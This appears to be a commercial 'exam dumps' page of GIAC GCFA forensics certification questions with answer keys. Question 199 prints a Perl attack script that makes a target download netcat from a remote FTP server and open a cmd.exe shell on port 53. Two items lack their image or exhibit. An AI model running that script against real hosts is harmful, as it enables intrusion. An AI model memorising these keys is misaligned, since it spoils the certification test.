GIAC Certified GCFA Dumps Questions Valid GCFA Materials
Current GCFA Exam Dumps [2023] Complete GIAC Exam Smoothly
To earn the GCFA certification, candidates must pass a comprehensive exam that tests their knowledge of computer forensics analysis. GCFA exam consists of 150 multiple-choice questions and must be completed within four hours. To prepare for the exam, candidates are encouraged to attend training courses offered by GIAC or other reputable training providers. GCFA exam covers a wide range of topics, including forensic tools and techniques, network forensics, file system analysis, and incident response.
NEW QUESTION # 184
John works as a professional Ethical Hacker. He has been assigned a project to test the security of www.we-are-secure.com. He copies the whole structure of the We-are-secure Web site to the local disk and obtains all the files on the Web site. Which of the following techniques is he using to accomplish his task?
- A. Web ripping
- B. TCP FTP proxy scanning
- C. Eavesdropping
- D. Fingerprinting
Answer: A
NEW QUESTION # 185
HOTSPOT
Identify the port in the image given below, which can be connected to the hub to extend the number of ports, and up to 127 devices can be connected to it?
Answer:
Explanation:
NEW QUESTION # 186
Nathan works as a professional Ethical Hacker. He wants to see all open TCP/IP and UDP ports of his computer. Nathan uses the netstat command for this purpose but he is still unable to map open ports to the running process with PID, process name, and path. Which of the following commands will Nathan use to accomplish the task?
- A. Pslist
- B. Psloggedon
- C. ping
- D. fport
Answer: D
Explanation:
Section: Volume A
NEW QUESTION # 187
John works for an Internet Service Provider (ISP) in the United States. He discovered child pornography material on a Web site hosted by the ISP. John immediately informed law enforcement authorities about this issue. Under which of the following Acts is John bound to take such an action?
- A. PROTECT Act
- B. Civil Rights Act of 1964
- C. Civil Rights Act of 1991
- D. Sexual Predators Act
Answer: D
Explanation:
Section: Volume A
NEW QUESTION # 188
Which of the following is the first computer virus that was used to infect the boot sector of storage media formatted with the DOS File Allocation Table (FAT) file system?
- A. Melissa
- B. Brain
- C. Tequila
- D. I love you
Answer: B
Explanation:
Section: Volume A
NEW QUESTION # 189
John works as a professional Ethical Hacker. He is assigned a project to test the security of www.weare-secure.com. He is working on the Linux operating system. He wants to sniff the we-are-secure network and intercept a conversation between two employees of the company through session hijacking. Which of the following tools will John use to accomplish the task?
- A. Tripwire
- B. IPChains
- C. Hunt
- D. Ethercap
Answer: C
NEW QUESTION # 190
Which of the following types of computers is used for attracting potential intruders?
- A. Bastion host
- B. Honey pot
- C. Data pot
- D. Files pot
Answer: B
NEW QUESTION # 191
You are the Network Administrator and your company has recently implemented encryption for all emails. You want to check to make sure that the email packages are being encrypted. What tool would you use to accomplish this?
- A. Performance Monitor
- B. Password cracker
- C. Packet sniffer
- D. Vulnerability analyzer
Answer: C
Explanation:
Section: Volume A
NEW QUESTION # 192
In a Windows 98 computer, which of the following utilities is used to convert a FAT16 partition to FAT32?
- A. CVT1.EXE
- B. CVT16.EXE
- C. CONVERT.EXE
- D. CONVERT16.EXE
Answer: A
NEW QUESTION # 193
Which of the following refers to the ability to ensure that the data is not modified or tampered with?
- A. Non-repudiation
- B. Confidentiality
- C. Availability
- D. Integrity
Answer: D
Explanation:
Section: Volume C
Explanation
NEW QUESTION # 194
Which of the following password cracking attacks is based on a pre-calculated hash table to retrieve plain text passwords?
- A. Hybrid attack
- B. Brute Force attack
- C. Rainbow attack
- D. Dictionary attack
Answer: C
NEW QUESTION # 195
This type of virus infects programs that can execute and load into memory to perform predefined steps for infecting systems. It infects files with the extensions .EXE, .COM, .BIN, and .SYS. As it can replicate or destroy these types of files, the operating system becomes corrupted and needs reinstallation. This type of virus is known as __________.
- A. Multipartite virus
- B. Polymorphic virus
- C. Boot sector virus
- D. Stealth virus
- E. File virus
Answer: E
NEW QUESTION # 196
You are the Security Consultant and have been hired to check security for a client's network. Your client has stated that he has many concerns but the most critical is the security of Web applications on their Web server. What should be your highest priority then in checking his network?
- A. Setting up IDS
- B. Vulnerability scanning
- C. Setting up a honey pot
- D. Port scanning
Answer: B
NEW QUESTION # 197
Which of the following layers protocols handles file transfer and network management?
- A. Presentation
- B. Application
- C. Session
- D. Transport
Answer: B
Explanation:
Section: Volume C
NEW QUESTION # 198
You work as a Network Administrator for Peach Tree Inc. The company currently has a FAT-based Windows NT network. All client computers run Windows 98. The management wants all client computers to be able to boot in Windows XP Professional. You want to accomplish the following goals:
* The file system should support file compression and file level security.
* All the existing data and files can be used by the new file system.
* Users should be able to dual-boot their computers.
You take the following steps to accomplish these goals:
* Convert the FAT file system to NTFS using the CONVERT utility.
* Install Windows XP and choose to upgrade the existing operating system during setup.
Which of the following goals will you be able to accomplish?
Each correct answer represents a complete solution. Choose all that apply.
- A. All the existing data and files can be used by the new file system.
- B. The file system supports file compression and file level security.
- C. None of the goals are accomplished.
- D. Users are able to dual-boot their computers.
Answer: A,B
Explanation:
Section: Volume A
NEW QUESTION # 199
Adam, a malicious hacker performs an exploit, which is given below:
#################################################################
$port = 53;
# Spawn cmd.exe on port X
$your = "192.168.1.1";# Your FTP Server 89
$user = "Anonymous";# login as
$pass = '[email protected]';# password
#################################################################
$host = $ARGV[0];
print "Starting ...\n";
print "Server will download the file nc.exe from $your FTP server.\n"; system("perl msadc.pl -h $host -C \"echo open $your >sasfile\""); system("perl msadc.pl -h $host -C \"echo $user>>sasfile\""); system("perl msadc.pl -h
$host -C \"echo $pass>>sasfile\""); system("perl msadc.pl -h $host -C \"echo bin>>sasfile\""); system("perl msadc.pl -h $host -C \"echo get nc.exe>>sasfile\""); system("perl msadc.pl -h $host -C
\"echo get hacked.
html>>sasfile\""); system("perl msadc.pl -h $host -C \"echo quit>>sasfile\""); print
"Server is downloading ...
\n";
system("perl msadc.pl -h $host -C \"ftp \-s\:sasfile\""); print "Press ENTER when download is finished ...
(Have a ftp server)\n";
$o=; print "Opening ...\n";
system("perl msadc.pl -h $host -C \"nc -l -p $port -e cmd.exe\""); print "Done.\n";
#system("telnet $host $port"); exit(0);
Which of the following is the expected result of the above exploit?
- A. Opens up a telnet listener that requires no username or password
- B. Creates a share called "sasfile" on the target system
- C. Creates an FTP server with write permissions enabled
- D. Opens up a SMTP server that requires no username or password
Answer: A
Explanation:
Section: Volume C
NEW QUESTION # 200
Which of the following encryption methods use the RC4 technology?
Each correct answer represents a complete solution. Choose all that apply.
- A. TKIP
- B. Static WEP
- C. Dynamic WEP
- D. CCMP
Answer: A,B,C
NEW QUESTION # 201
Based on the case study, to implement more security, which of the following additional technologies should you implement for laptop computers?
(Click the Exhibit button on the toolbar to see the case study.)
Each correct answer represents a complete solution. Choose two.
- A. Two-factor authentication
- B. Encrypting File System (EFS)
- C. Digital certificates
- D. Encrypted Data Transmissions
- E. PAP authentication
Answer: B,C
NEW QUESTION # 202
......
GCFA Premium PDF & Test Engine Files with 318 Questions & Answers: https://realdumps.prep4sures.top/GCFA-real-sheets.html